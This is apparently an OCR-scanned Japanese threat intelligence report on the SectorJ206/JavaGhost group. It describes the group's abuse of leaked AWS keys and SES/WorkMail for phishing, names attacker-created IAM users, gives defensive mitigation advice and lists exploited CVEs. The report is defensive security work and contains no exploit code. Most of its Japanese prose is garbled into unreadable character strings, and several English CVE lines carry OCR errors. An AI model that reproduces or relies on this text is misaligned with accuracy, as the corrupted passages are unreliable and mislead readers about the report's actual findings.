B DZNEEZIEN(C T DREFAEESMHCESLE LU, Zx>F XY —)(—
ZBAUCREEHMHTRESNDILDIC, HOSDEBMIH TS FI—WECETILAL
FUIE, HFIC, BBE@Y—0DTTTT =ML, FESNZ TTP Z/EAL TIRET
O RAFTLRTEEN LEESERZREL. EDZRERELET,

14)t945-32060)\—F

HA )L\ F>2TTIL—T DR T, Sectord206 J)L—T(FidttF1 UF 1 BECL>TS
v)\OJ—=X b (JavaGhost) &UTHISNTWET,

ZEIIN—TF TavSTA2TSZEETDIHIC AWS 5D REBRALZEDTESNTL
Do

ZET I —TFRRENZRBEZH T 7 1)L Zi8 U T AWS 7ORF—=EB80L. BSLIzF—%
FEARLTOSIRUY—-RICT7IERLFEU.
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ZD#%. Amazon Simple Email
Service (SES) & WorkMail ZERELTI AW IA—)LIKEA > T SHEBEL. [ERDRAA
SERDTCITAVI IR ZERECEEUZEDTEINET .

[IAM 1—H—4]

adminuserdevs
develops
GhOst_808
GhOst_365
rootdev

ses2

warkopi

Related Events

SectorJ206 leveraged AWS Cloud for Phishing Infrastructure
https://cti.nshc.net/events/view/13106
RIADEHITIE. YUAENIED T T YA hOREAICES LU TWEBRID7OS—M. BRIEEFD

SOURA > I SHEFAUSENEEZIET DT « v S > D F v >R — 2 (CERIR U I8l
ZAEMBASHNTIRDFE Uz, E£(CAWSRIBZIEN ETIWEEE. AFHSNTLS S3N
Ty M env' J7AILDKR DR O TZREZBR LU T, REB7 AT -2 EDERIE
HEESL. 5D RUY—RICRIECTILZRALET., ZDLDICLTERUCERKIE
Wz EAL. WEBEEBEDAWS 7> MIEHD EC2 A > RIVAERAA &
EU, KREIRT 4 VS 2 INR-ZHERRT 4 2T UTA=ILTRMUET ., RN
DA EMIFITDEHIC. WEE(FIAM O—)LZER L. OJHIBRYU -3 2938 E 0
> FeEEHE AR LU Tt EgNE 9. Uieh'> T Bl ERB7 O F—ER%E
B/RICHDIZ .. IAM O—)L&E U T—RNRERERTEA T DINENGDET ., F/t.
Cenv DR DIMBR T 7 A ILD T I FHZEBR L. HEERNEL ULRWKDSICTD
WMENHDFET, BEERAPIHUH LUV - TOEDa = Iz &t 92T,
AWS

CloudTrail ¥° GuardDuty D XS —)LZER UGN /RETEZS ) >IN ARBIR T
D, BEIL—ILZHIIIT D EMNEREINE T, Fo. I—T BB BN A—IL
tFa1 VT HliEEERL. LENOHIEMAHIZIBERIT DNENSHDET ., CNSOEE
(F. EIRIEROBL BRI ZBRAT IWEN ST RRIEERET DIzHICIHE
BICEECY,
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I Recommendation

NSHC ThreatRecon F—Al(3#k4 2B D) \wF>77J)L—F(Threat Actor Group) SEENZ 4T
L. RSO F 1T F— LN \VF D TEBEBICHITIHEEESS(ITHRSEDLDICIHEN(C
TSR T & BB fi(technique) (CH 1T D MITRE ATT&CK OB EH#EF(Mitigations)IBEEH&ERD XS
[CEF &I,

1. HEs514{R5E (Exploit Protection)

VI KNI 7OIOTOA MExploit)BEZFE LD, REDOUREEZEAIROTOYOT
D1z (CHEF9 4R & (Exploit Protection)dVU 1 —= 3 fERADESTHINE

- IOXXT0OA (Exploit) DEMEDIEFIDI=&. WDEG(Windows Defender Exploit Guard)
K UF EMET(Enhanced Mitigation Experience Toolkit) DERADIRSTH HE

- IORTOA DS T4vIONRT7ITUT—2 3> (CUDELZ EZ2BIET D28, Web 77
TV —23>DI7A T IA—)UEBDREI D E

2. MEsSEDRAF v =>4 (Vulnerability Scanning)

AEB (IR UTe S AT ADMESS 2 TR (CARE L. EEnIRMESsIEnt R DO o IeigaE. N
(AT L7Z)\Y FFDFHRE DRI NBE

ETERY(C RSS2 R LAEHZ(CHRI T Dcsd. ERNIZNERRY N D — D DIRBEDIREH
WE

- REAEROTZMIECH T DIFRNREZS Y T DRI UE

- EBED)\wF>22)L—F(Threat Actor Group)hMER UTEMEssEICHIT D+ UFT 158
eE=E0r Spavar:d

- COLR— " Appendix”(C(EZEBRD EBED/\vF>2)L—T (Threat Actor Group)H*
A UILEREN S DS HEDBHRNEFENTND

3. EF1 U5« BEHE (User Training)

EED/\Y F LI RMEESHOEL 2B L TERIREORRCDOVNTEHENDMNTEDX
S(CFa VT BHBEDIRANBE

- V=2 v)LIT>Z=77'J>7J(Social Engineering) i & X ET7 T w2 7J (Spear
Phishing)E-Mail Z#BI T 3 HBORANUE
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- Y -EBEENZSHDT7HI MIE—RR) XD — RZER UK D (CEEEERIEER
DEBOEEM(CHITDBEEDIRTINNE

- SRAFTAICRFUR/ (R D — ROMBIRIE(CH T DEBEDRIANUE

- URS NJICT—IZ2REITIRISTIFEIRNETOBEICHSITIHEDRTNNE

- ISOYOBMOIET OIS ANEITESNRVWK S (LT TOYERICH 1T DHBE DR
W

- SMS. @EERERE. &EI8IT R MR EDBRRIEIRD 7O AHERZEEH I D Android 777U
T—2 32 ([CDVWTERMGE CTED X DREE DR NN E

- ERENR—HBTTVT—2 3> T2 00— RURBVWK D (CHEDIRFNNE

4. BEA >FTUS1>AT 095 A(Threat Intelligence Program)
I\VFO)—THMERLTWBTILIT /w1 (Hash). IP U R XA > (Domain)i&k
%50 I0C(Indicator of Compromise)NEDM o 7/2iBE. BIHZIRET DL D (TR DETED
R NNE

N ™
m Strategic - Explanations of trends and technique used in hacking activities.
Threat |nte||igence - Establish organizational security strategy and direction.
AN /
N N
Operationa| - Explanations of attack process based on the MITRE ATT&CK Matrix.
Threat |nte||igence - Checks capability of detection and response during real attacks.
J J
Tactical - Detect and respond to real attacks though application of 10C’s SIEM
Threat Intelligence || - Usage in regular threat hunting activities
A /

- IPS. IDS RU'T7A T IA—=ILDKISRRFRY NDO—otF1UF 4 Ef@oDOIh 5 10C &
B—70B{E IP AR DM IZIHE

- HEREPERD DNS B —/\—. D174 — D11 (Web Gateway) U7 O+ (Proxy)D T
TBRDS T LADOTH5 10C LB RAAIARDM O 2IHE

- EDR(Endpoint Detection and Response) DK DRI KRR > heFaUFwVII1—2>
3> OO0HS PCRUH—/\—h\5 10C ER—R T 7 )L \w S 1 (Hash) M EET B84
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- RBP4 1S AT ADOT ENE I B SIEM(Security Information Event
Management) 5% E LTz 1—X4— X (Use Case) &J)L—JL(Rule)(C I0C ERE—12 T 71
JW\w= ., IP KU RXA NFEETDIHEE®

5. XY ND—D(CHT S ERFE
1) *Yv MDO—O&AB5LE (Network Intrusion Prevention)

DRy ND—D(C7OTRAITIBENR NS T v v oZFERICTOY 9 DITHITRALEA
= 25 In(Intrusion Detection System, IDS)RUMEABSLES X5 /s (Intrusion Prevention
System, IPS)D{ERADIRFIH NE

- RV RD=DOLRNILNS)I\WF 2 D0)—T DIRE RSN Z BT DI=h AitM(Adversary in
the Middle)d b= 7« w0) 5 — 2 HGEEIT & SERAEM S X7 L(Intrusion Detection
System, IDS)&U 2 ABALES X5 /s (Intrusion Prevention System,
IPS)DIERADIRF i E

- NILD I 7HNERORERY RO =D (L7 OTAUEDRITUIZD T 3T a2l g 572,

TRA REIDRABSLES X5 Is(HIPS, Host Intrusion Prevention System). 77>F )L X
(Anti-Virus)i2EDYVY 1 —> 3 > DFERDIRI I NE

2) *v bO—D#l53{t (Network Segmentation)

HBOBEERS AT ARUEEZRR T DI2H. R ND—0Z BN RUHRIENRY KD -2
THEIL., TF1UFT > bO—ILEUY—EINZNZTNDOTADORY RDO—0 & (iR
TE3LDICRY hD—U#51E(Network Segmentation) DfERADIRET N HE

- DMZ(Demilitarized Zone) RUBIDIRAT 1 >4 > T S % U THED/AREBRY hDJ—
D7 DEES DBERDER DR I E

- I\WFZDOI—~T D -5y MMIRDPOFT VEROEERS AT ARUVEEZ#HI L. &
Wi 7 DA ROEENSZEDI AT LZlmHE L. RE T DBERDERDIRSI N E

- RYRNID=DDT 7 AT IA—)LOWEEINSHEIINR— & NS T 1w ILSMIBE TSR
WEKD(CTOY T I IBERDIEETHNE

- Ry hD=070F3 =R IJARUIT7ATIA—=)ILZFERUTAEBS AT AICHITSD
BIENIRNEIRE 7 O A ZES I DBEROERA DR I UNE

- BRAOEA., SRUMIGS AT ARBIORY ND—OW5EE T LD (CIRFIHNWNE

6. 1—Y—7HD> NOBRIFE
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1) ZEZHRBSE (Multi-factor Authentication)

B OEE (C 7O RATE3) (XD — RENRRESNIESE = (CB/\vF 2 IT)—Th 7ot X
D EEBBIET DIz8D. EBEDERE TR EZ 8B I 2% B R0 (MFA, Multi-Factor
Authentication) DER DRI NN E

2) 7Hh9> MERBER (Account Use Policies)

7T hDOF 2 UT + FHEICE U BERERTEDIREI D N E

- EONIHNSEBAE U TERLTLS Windows PCOOTA >I1—H—=7HD> b\
RAD—=RZREDTILIFZNRY FOAXF, INFRULEZZA TIRDNL 8 U LTH
EI DRI (CHREINUE

- Windows M7 25« J5« L2 kU (Active Directory) & U TR SNIZIRIE T, PIL—
TBER(Group Policy)iE U CTIREDAIBRY D —D(CEND Windows PC D —3—77 13
> hDINRAD— RZFEEBDTILI7RY bMOAXZF, IWXFERVEEEZEZATRDINL 8
HIA L TERETDRD(CHKR L. 3BT EIC/\RAT— RAEBEEND KD (CBERIERDIR
S wE

- ERBHTIFRVWT /A REULIED IP 5O T10 > 7B < KD, EMHIEST7IOLEIK
RIEFADREINWE

- JXRDO—REAEND C EZ2B<esd. W< DI DEROOT A 2 REDH E. 7>

Nz G 9 DBERIEFADIREI D W E

3) $HEFHD> MER (Privileged Account Management)

THO SEFERICK D IR TZRIMET e, BEEDT NI MROHERNEIDHTS
NIZ—iR7 70> MMCEUTOERORFANUBE

- UE—-r>RIbvIFZ70ORIJL(Remote Desktop Protocol, RDP)Z&EU CTOJ A>T
20)IL—T X bhsO—AJLEREE (Administrators) ) L— T ZE DR Z & ICDVWTHR

A E

- BEBEBOTHDS SRGIERMEIDHTSNIZ—RRDI7 NI > hOMl. EI8EEIRDEERLE
DIZHDBERDIRFI HHE

- ARWERLANILDIL T —DEWLANILDOY —ERZED 2D RITTETRVK S (CHERS
EDIRFIH N E

- BIREIFOERICL D EERMET DTz, U—EXTHI MMIHIFD1ERDEHIRT D
BERODIRFI D NE
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7. I RRA > bOERHERF

1) YIJ O 77vIT5T—BM(Update Software)
I RRA> MEndpoint) RUB—/\—mD 0S £V T MO T PHEH/IN—-23> TPy IF— K~
SNTVDINMERENRETH D . FFCHBICRE SN S AT ARMIGHROAR (CEN DB
53T 71 ILDEARS AT In(Deployment Systems)(CH 1 BEHR T W TF — hM&ETHh ws
i

2) OS#Ek (Operating System Configuration)

INYF2 T —T DI ESNIARMICH T DWEZ RN T Db, OS DIEBRMDIRFI D UNE

- NTLM(New-Technology LAN

Manager) 1—H—323E70 b )L, Wdigest SRsHESMEDIRET AR E
- EBRVEECAEBIRMEE. UA—/I\DIAT 1« T7ZHEET . FIRTDBEROIREINNE
- BEBHTFIEVWRSAN=DA X =ILENBENL D, HIR T DBERORFHE

3) PV —>3 JHERRUY > RRY O X (Application Isolation and
Sandboxing)
ITIT/I\YF2TU)I—THER UHERKRUEEIAZE U TFHDTORAKRUST AT A

VOTRF B EZFIRT DD, 7T VT —2 3 URERUT > RRY O XDEROEET AW
E23

4) =247B51E (Execution Prevention)

SRATFTLMSRIVITTDRITZERH S 128, FITT 7 AAIILKRORIUT "RT70I> hO—)LD
BRI wE

- EETERVI7ZAILOETZBIEL. VDT 7O#IKRUTOY 09Dz, Windows
7TUr—23>00> bO—)LY—)LOERDESE N E

- ID7AINEITENDLDICHETI DN EEEITDIL—ILEED. COTF7AILWEITTSE
21— —-KROJ)IL—T&IEETES Windows D 77w FOw H—(AppLocker) DERHDIR
SAh e

5) #reDEHIERVT' OS5 LDHIFR (Disable or Remove Feature or
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Program)

WREDERZERICH Tz, BIENICBRM ERDENNHDHMEOEMERVTOTS LD
HIBRODAREI D W E

- Windows DX FAICA A R—=)LENTL\D MS Office DEzF1UFAFHEDH., Y
DOKE] & [TARTONYIOZFRRURV(BAFRR)] ODERREEZE TR UT.
77+« I 7+ L2 hU(Active Directory)HS GPO Group Policy Object)MDE&ED L. E
9 AR E

Macro Settings

) Disable all macros without notification
@ Disable all macros with notification
() Disable all macros except digitally signed macros

() Enable all macros (not recommended; potentially dangerous code can run)

- DCOM(Distributed Component Object Model) DEERN L DI&RET NN E

- BFEDSRXFT LHS MSHTA.exe MEE) UIdWK D (THREI DI E

- WinRM(Windows Remote Management)Y — E X DML DRI H W E

- ANERBEBERITHEEDOEMM DRI D NE

- O—VI>otFa1UFT 1 BERUI)IL—THEENS LLMNR(Link-Local Multicast
Name Resolution)RUTw /(1 A X (NetBIOS) DRI LIRS A B

- O—VVI>0tFa1UFT 1 BERUI)IL—THEENS LLMNR(Link-Local Multicast
Name Resolution)RUTw /(1 A X (NetBIOS) DRI LIRS A B

- PHP @ eval ) DK 5720 T THRADFFE U Tz Bz 3t 3 SR D E

6) 10— R&E4 (Code Signing)

ERTERVI7LORTEH<Tetd, - RELEREHDT SBEFEREDRTDLE

- BRBEHTIFRVWROVUT hOETZR /D —2 1)L (PowerShell ) DEEREETE DIRETHWA
7

- BREBEHTERWI 7 1ILDORITEN < BERGKEDIRET DWW E

- BRAEHTERVWY—EXRSA/(—DERRUETZH < BEREREDIRST N E

7) Z>FIAL)LA (Antivirus)

TILIT DA I O— REUERTEEOEYA/IN—BRZEHLET 3. CNEZFEMULUDDT
0w I TEB 7> F 1)L (Antivirus) OEROMRET HNE
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- R TTFOAF D> O— RERUETOMFEDIES. R RURARLES X5 /A (HIPS, Host
Intrusion Prevention System)& U7 >F 1)L A(Anti Virus)idEDV U 1 —=3 AFEH
DIRFI N E

8) I > RiRA > bh5DITA%ESLE (Behavior Prevention on Endpoint)

T > RRA > M(EndPoint) N SEBTERRBRLCIAD YT WEBMHTANRE UIRVLKD. Ba1ICH
1IE9 B2 (C1TABALE(Behavior Prevention)#aeERDIRETH N E

- BETERVWI7AILDOEITZLIET D728, ASR(Attack Surface
Reduction))L—)LDBIMEDIREI DN E

- J7IILOBEN UV E, BENGBRIIC/ADY T VI 7 1)L Z#H ORI TS
DI RRA > MEndPoint)Y U 1 —2 3 AFRADIRET A E

- JOtvXRA>2x 023> (Process
Injection) DK SRERAIZIFEAR U T O 09 Blzs. 174AMLE(Behavior
Prevention)#aEERADIREIT D W E

9) J\— RO T 7EDHIPR (Limit Hardware Installation)

USB 5/ \A ARV L—/\TIVATF « ZEUEGEH TIFRN\— RO T 7 DERZHIRUE
. JOvoULED I DBRZIR

- YESRBEHTIIRVW\= RO TZOFERZFIRLEZD., JOVIITDILIICIYRRA> b~
DEF1VFABENRUVEZSIY T IT -1 bOERDRI D GE

10) % E/\1JLIBR (Enterprise Policy)

E/)I\AILT)I\A ADEMEZE I> bO—)L I BDIEHDBEREEDT=8. EMM(Enterprise Mobility
Management)/MDM(Mobile Device Management)> X ADERAOESTNNE

- Android 7/ \1 RADEHEXERURELS X T AD T 717 A (SHIBRIT E DEEFEEIHDH TI7 0
TR TEDXLDCHEHREREDIRI NN E

- I0SHhBI>AH—T5+1 XEAmFHEIAE TE4AL. App Store TIFRWENDFEMNSE0
DTCEEBEIITVT—23> 21— N> XA =ILTERNKD. TOT 1 —ILDi|
PRESTE DIRET B
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I Appendix

ZEDI\YF>IT)IL—THRDY T N sz ER UIE) \vF > IOBFINFE. 7O7+47
7+ L2 U (Active Directory). UL ([FtzFa21 U5« )V F(Patch)DEHS AT LZiB U TF
SCDRESFENEIBR TE R EF 2 UT + /W FOERMDIRE DA E

® [Zero Dayl &UTREESNEMEMEE. TFa1 VT« /\yFORMDEIC, RB/\vF>
DEECERSNIEENSS.

- CVE-2001-0507 Microsoft IIS relative path usage in system file process table could

allow elevated privileges
- CVE-2007-5633 Speedfan IOCTL privilege escalation
- CVE-2008-3431 Sun xVM VirtualBox Privilege Escalation Vulnerability
- CVE-2009-0824 Multiple SlySoft products EIbyCDIO.sys denial of service
- CVE-2009-1151 phpMyAdmin Remote Code Execution Vulnerability
- CVE-2009-3129 Microsoft Excel Featheader Record Memory Corruption Vulnerability
- CVE-2009-3960 Adobe BlazeDS Information Disclosure Vulnerability
- CVE-2010-1592 sandra.sys 15.18.1.1 and earlier in the Sandra Device Driver in

SiSoftware Sandra 16.10.2010.1 and earlier allows local users to gain privileges or

cause a denial of service (system crash) via unspecified vectors involving "Model-

Specific Registers."

- CVE-2010-2506 Linksys WAP54Gv3 debug.cgi cross-site scripting

- CVE-2010-2572 Microsoft PowerPoint Buffer Overflow Vulnerability

- CVE-2010-2861 Adobe ColdFusion Directory Traversal Vulnerability

- CVE-2010-2883 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5
allows remote attackers to execute arbitrary code or cause a denial of service

- CVE-2010-3333 Stack-based buffer overflow in Open XML File Format Converter

allows remote attackers to execute arbitrary code
- CVE-2010-5326 SAP NetWeaver Remote Code Execution Vulnerability
- CVE-2011-5010 CTEK SkyRouter 4200/4300 - Command Execution Vulnerability
- CVE-2012-0158 MS12-027 MSCOMCTL ActiveX Buffer Overflow. CVE-2012-0158.
Remote exploit for windows platform

- CVE-2012-0507 Oracle Java SE Runtime Environment (JRE) Arbitrary Code

Execution Vulnerability
- CVE-2012-1856 Microsoft Office MSCOMCTL.OCX Remote Code Execution

Vulnerability
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https://exchange.xforce.ibmcloud.com/vulnerabilities/6985
https://exchange.xforce.ibmcloud.com/vulnerabilities/6985
https://exchange.xforce.ibmcloud.com/vulnerabilities/37298
https://cxsecurity.com/issue/WLB-2008080114
https://exchange.xforce.ibmcloud.com/vulnerabilities/49232
https://www.phpmyadmin.net/security/PMASA-2009-3/
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-067
https://cvepremium.circl.lu/cve/CVE-2009-3960
https://cve.circl.lu/cve/CVE-2010-1592
https://cve.circl.lu/cve/CVE-2010-1592
https://cve.circl.lu/cve/CVE-2010-1592
https://cve.circl.lu/cve/CVE-2010-1592
https://exchange.xforce.ibmcloud.com/vulnerabilities/59699
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-088
https://cvepremium.circl.lu/cve/CVE-2010-2861
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Cyber Threat Intelligence Report

CVE-2012-3152 Oracle Fusion Middleware Unspecified Vulnerability
CVE-2012-4681 Oracle Java SE Runtime Environment (JRE) Arbitrary Code

Execution Vulnerability
CVE-2012-4869 FreePBX 2.9, 2.10, and earlier allows remote attackers to execute

arbitrary commands via the callmenum parameter

CVE-2012-4873 Cross-site scripting (XSS) vulnerability in the file_download

function in GNUBoard before 4.34.21 allows remote attackers to inject arbitrary

web script or HTML via the filename parameter

CVE-2012-4969 Microsoft Internet Explorer Use-After-Free Vulnerability
CVE-2013-0074 Microsoft Silverlight Double Dereference Vulnerability
CVE-2013-0633 Buffer overflow in Adobe Flash Player before 10.3.183.51 and 11.x
before 11.5.502.149 on Windows and Mac OS X, before 10.3.183.51 and 11.x
before 11.2.202.262 on Linux, before 11.1.111.32 on Android 2.x and 3.x, and

before 11.1.115.37 on Android 4.x allows remote attackers to execute arbitrary

code via crafted SWF content, as exploited in the wild in February 2013
CVE-2013-0808 EPS Viewer Buffer Overflow Vulnerability
CVE-2013-1599 D-Link IP Cameras Multiple Vulnerabilities
CVE-2013-2551 Microsoft Internet Explorer Use-After-Free Vulnerability
CVE-2013-2729 Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability
CVE-2013-3307 CISCO LINKSYS X3000 1.0.03 BUILD 001 APPLY.CGI
PING_IP/SORTBY CROSS SITE SCRIPTING

CVE-2013-3346 Adobe Reader and Acrobat allow attackers to execute arbitrary code

or cause a denial of service

CVE-2013-3900 WinVerifyTrust Signature Validation Vulnerability

CVE-2013-4979 EPS Viewer Buffer Overflow Vulnerability

CVE-2013-5065 Vulnerability in Windows Kernel Could Allow Elevation of Privilege
CVE-2013-5223 DSL-2760U - Multiple Cross-Site Scripting (XSS) Vulnerabilities
Present in Device Web-GUI Configuration

CVE-2013-5948 Remote Command Execution within the ASUS RT-AC68U

Managing Web Interface
CVE-2013-7471 D-Link Devices - UPnP SOAP Command Execution Vulnerability

(Zero Day)
CVE-2014-0160 TLS heartbeat read overrun
CVE-2014-1761 Microsoft Word Memory Corruption Vulnerability

CVE-2014-1776 Microsoft Internet Explorer Memory Corruption Vulnerability
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Cyber Threat Intelligence Report

- CVE-2014-1812 Vulnerability in Group Policy Preferences Could Allow Elevation of

Privilege
- CVE-2014-2321 ZTE F460 / F660 Cable Mode MS web_shell_cmd.gch

Administrative Backdoor
- CVE-2014-4113 Win32k.sys Elevation of Privilege Vulnerability
- CVE-2014-4114 Windows OLE Remote Code Execution Vulnerability
- CVE-2014-6271 Bash Code Injection Vulnerability via Specially Crafted

Environment Variables

- CVE-2014-6332 Windows OLE Automation Array Remote Code Execution

Vulnerability
- CVE-2014-6352 MS14-064 Microsoft Windows OLE Package Manager Code

Execution
- CVE-2014-8361 The miniigd SOAP service in Realtek SDK allows remote attackers

to execute arbitrary code

- CVE-2014-8439 flash-plugin: hardening against a code execution flaw
- CVE-2014-9727 AVM Fritz!Box allows remote attackers to execute arbitrary

commands
- CVE-2015-0062 Windows Create Process Elevation of Privilege Vulnerability
- CVE-2015-0313 Adobe Flash Player Use-After-Free Vulnerability
- CVE-2015-1187 D-Link DIR-636L Remote Command Injection - Incorrect

Authentication

- CVE-2015-1641 Vulnerabilities in Microsoft Office Could Allow Remote Code
Execution (3048019)

- CVE-2015-1701 Win32k Elevation of Privilege Vulnerability

- CVE-2015-2051 D-Link DIR-645 Router Remote Code Execution Vulnerability

- CVE-2015-2291 Intel Network Adapter Diagnostic Driver Remote Code Execution

Vulnerabilities

- CVE-2015-2387 Vulnerability in ATM Font Driver Could Allow Elevation of Privilege

- CVE-2015-2419 Microsoft Internet Explorer Memory Corruption Vulnerability
- CVE-2015-2424 Vulnerabilities in Microsoft Office Could Allow Remote Code

Execution

- CVE-2015-2545 Vulnerabilities in Microsoft Office Could Allow Remote Code

Execution

- CVE-2015-2590 Oracle Java SE and Java SE Embedded Remote Code Execution

Vulnerability
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Cyber Threat Intelligence Report

- CVE-2015-3043 Adobe Flash Player Memory Corruption Vulnerability
- CVE-2015-3105 Adobe Flash Player - Drawing Fill Shader Memory Corruption

- CVE-2015-3636 kernel: ping sockets: use-after-free leading to local privilege

escalation
- CVE-2015-4902 Oracle Java SE Integrity Check Vulnerability
- CVE-2015-5119 Adobe Flash Player Use-After-Free Vulnerability
- CVE-2015-5122 Adobe Flash Player Use-After-Free Vulnerability
- CVE-2015-5317 Jenkins User Interface (UI) Information Disclosure Vulnerability
- CVE-2015-5374 Siemens SIPROTEC Denial-of-Service Vulnerability

- CVE-2015-6585 hwpapp.dll in Hangul Word Processor allows remote attackers to

execute arbitrary code via a crafted heap spray, and by leveraging a "type

confusion" via an HWPX file containing a crafted para text tag
- CVE-2015-6764 V8 Out-of-bounds Access Vulnerability
- CVE-2015-7450 IBM WebSphere Application Server and Server Hypervisor Edition

Code Injection

- CVE-2015-7645 Adobe Flash Player Arbitrary Code Execution Vulnerability

- CVE-2015-7755 Juniper ScreenOS contains multiple vulnerabilities

- CVE-2015-7888 Directory Traversal Vulnerability

- CVE-2015-8651 Adobe Flash Player Integer Overflow Vulnerability

- CVE-2016-0034 Microsoft Silverlight Runtime Remote Code Execution Vulnerability
- CVE-2016-0051 WebDAYV Elevation of Privilege Vulnerability

- CVE-2016-0099 Microsoft Windows Secondary Logon Elevation of Privilege

Vulnerability
- CVE-2016-0189 Microsoft Internet Explorer Memory Corruption Vulnerability
- CVE-2016-0545 Oracle Fusion Middleware Unspecified Vulnerability
- CVE-2016-1019 Adobe Flash Player Arbitrary Code Execution Vulnerability
- CVE-2016-1555 NETGEAR Multiple WAP Devices Command Injection Vulnerability
- CVE-2016-1646 Google Chromium V8 Out-of-Bounds Read Vulnerability
- CVE-2016-3088 Apache ActiveMQ Improper Input Validation Vulnerability
- CVE-2016-3427 Oracle Java SE and JRockit Unspecified Vulnerability
- CVE-2016-4117 Adobe Flash Player Arbitrary Code Execution Vulnerability
- CVE-2016-4119 Adobe Acrobat and Reader Use-After-Free Vulnerability

- CVE-2016-4326 Chef Manage deserializes cookie data insecurely
- CVE-2016-5195 Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability

in the Linux Kernel
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Cyber Threat Intelligence Report

- CVE-2016-5198 Google Chromium V8 Out-of-Bounds Memory Vulnerability

- CVE-2016-5734 Unsafe handling of preg_replace parameters

- CVE-2016-6277 NETGEAR Multiple Routers Remote Code Execution Vulnerability
- CVE-2016-7193 Microsoft Office Memory Corruption Vulnerability

- CVE-2016-7255 Microsoft Win32k Privilege Escalation Vulnerability

- CVE-2016-7256 Microsoft Windows Open Type Font Remote Code Execution

Vulnerability
- CVE-2016-7262 Microsoft Office Security Feature Bypass Vulnerability
- CVE-2016-7836 SKYSEA Client View vulnerable to arbitrary code execution
- CVE-2016-7855 Adobe Flash Player Use-After-Free Vulnerability
- CVE-2016-7892 Adobe Flash Player Use-After-Free Vulnerability

- CVE-2016-8655 kernel: Race condition in packet_set_ring leads to use after free
- CVE-2016-8735 Apache Tomcat Remote Code Execution Vulnerability

- CVE-2016-11021 D-Link DCS-930L Devices OS Command Injection Vulnerability
- CVE-2016-20016 MVPower DVR TV-7104HE 1.8.4 115215B9 - Shell Command

Execution
- CVE-2016-20017 OS Command Injection Vulnerability
- CVE-2017-0005 Microsoft Windows Graphics Device Interface (GDI) Privilege

Escalation Vulnerability
- CVE-2017-0007 Device Guard Security Feature Bypass Vulnerability
- CVE-2017-0039 Windows DLL Loading Remote Code Execution Vulnerability
- CVE-2017-0143 Microsoft Windows SMB Server Remote Code Execution

Vulnerability
- CVE-2017-0144 Microsoft Windows SMB Server Remote Code Execution

Vulnerability
- CVE-2017-0145 Microsoft SMBv1 Remote Code Execution Vulnerability
- CVE-2017-0146 Microsoft Windows SMB Remote Code Execution Vulnerability
- CVE-2017-0147 Microsoft Windows SMBv1 Information Disclosure Vulnerability
- CVE-2017-0148 Microsoft SMBv1 Server Remote Code Execution Vulnerability
- CVE-2017-0199 Microsoft Office OLE Feature Remote Code Execution Vulnerability
- CVE-2017-0213 Microsoft Windows Privilege Escalation Vulnerability
- CVE-2017-0261 Microsoft Office Use-After-Free Vulnerability
- CVE-2017-0262 Microsoft Office Remote Code Execution Vulnerability
- CVE-2017-0263 Microsoft Win32k Privilege Escalation Vulnerability
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Cyber Threat Intelligence Report

- CVE-2020-0787 Windows Background Intelligent Transfer Service Elevation of

Privilege Vulnerability

- CVE-2017-2505 Multiple memory corruption issues were addressed with improved

memory handling

- CVE-2017-2533 An application may be able to gain system privileges

- CVE-2017-2534 An application may be able to escape its sandbox

- CVE-2017-2535 An application may be able to escape its sandbox

- CVE-2017-3506 Vulnerability in the Oracle WebLogic Server component of Oracle

Fusion Middleware (subcomponent: Web Services)
- CVE-2017-3881 Cisco I0S and I0OS XE Remote Code Execution Vulnerability
- CVE-2017-4946 VMware Horizon (V4H/V4PA) desktop agent Privilege Escalation

Vulnerability
- CVE-2017-5030 Google Chromium V8 Memory Corruption Vulnerability
- CVE-2017-5070 Google Chromium V8 Type Confusion Vulnerability
- CVE-2017-5173 Geutebruck IP Camera G-Cam elements vulnerability that can

allow access to the root level operating system which could allow remote code

execution
- CVE-2017-5259 Cambium ePMP and cnPilot Multiple Vulnerabilities
- CVE-2017-5638 Apache Struts Remote Code Execution Vulnerability
- CVE-2017-6077 NETGEAR DGN2200 Remote Code Execution Vulnerability
- CVE-2017-6334 NETGEAR DGN2200 Devices OS Command Injection Vulnerability
- CVE-2017-6736 Cisco I0S and IOS XE Software SNMP Remote Code Execution

Vulnerability
- CVE-2017-6742 Cisco I0S and IOS XE Software SNMP Remote Code Execution

Vulnerability
- CVE-2017-6977 An application may be able to escape its sandbox

- CVE-2017-7064 An application may be able to read restricted memory
- CVE-2017-7255 XSS exists in the CMS Made Simple (CMSMS) 2.1.6 "Content--

>News-->Add Article" feature via the m1_title parameter. Someone must login to

conduct the attack
- CVE-2017-7269 Microsoft Windows Server Buffer Overflow Vulnerability
- CVE-2017-7494 Samba Remote Code Execution Vulnerability
- CVE-2017-7504 JbossMQ HTTP Invocation Layer deserialization vulnerability
- CVE-2017-7876 QNAP QTS Command Execution Vulnerability
- CVE-2017-8291 Multiple Remote Code Execution Vulnerabilities
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Cyber Threat Intelligence Report

- CVE-2017-8464 Microsoft Windows Shell (.Ink) Remote Code Execution
Vulnerability
- CVE-2017-8570 Microsoft Office Remote Code Execution Vulnerability

- CVE-2017-8750 Microsoft Browser Memory Corruption Vulnerability

- CVE-2017-8759 .NET Framework Remote Code Execution Vulnerability (Zero Day)
- CVE-2017-9248 Cryptographic Weakness

- CVE-2017-9833 BOA Webserver 0.94.14 is Vulnerability Without using access

credentials

- CVE-2017-9841 PHPUnNIt: Remote code execution

- CVE-2017-10271 Vulnerability in the Oracle WebLogic Server component of Oracle

Fusion Middleware
- CVE-2017-11292 Adobe Flash Player Type Confusion Vulnerability
- CVE-2017-11317 Unrestricted File Upload Vulnerability in RadAsyncUpload
- CVE-2017-11357 Insecure Direct Object Reference Vulnerability in

RadAsyncUpload
- CVE-2017-11610 Supervisord Authenticated Remote Code Execution
- CVE-2017-11774 Microsoft Office Outlook Security Feature Bypass Vulnerability
- CVE-2017-11882 Microsoft Office Equation Editor stack buffer overflow
- CVE-2017-12824 InPage '.inp' File Parser Remote Code Execution Vulnerability
- CVE-2017-12149 Red Hat JBoss Application Server Remote Code Execution

Vulnerability
- CVE-2017-12617 Apache Tomcat Remote Code Execution Vulnerability

- CVE-2017-13861 An application may be able to execute arbitrary code with kernel

privileges

- CVE-2017-15303 In CPUID CPU-Z before 1.43, there is an arbitrary memory write

that results directly in elevation of privileges, because any program running on the

local machine (while CPU-Z is running) can issue an ioctl 0x9C402430 call to the

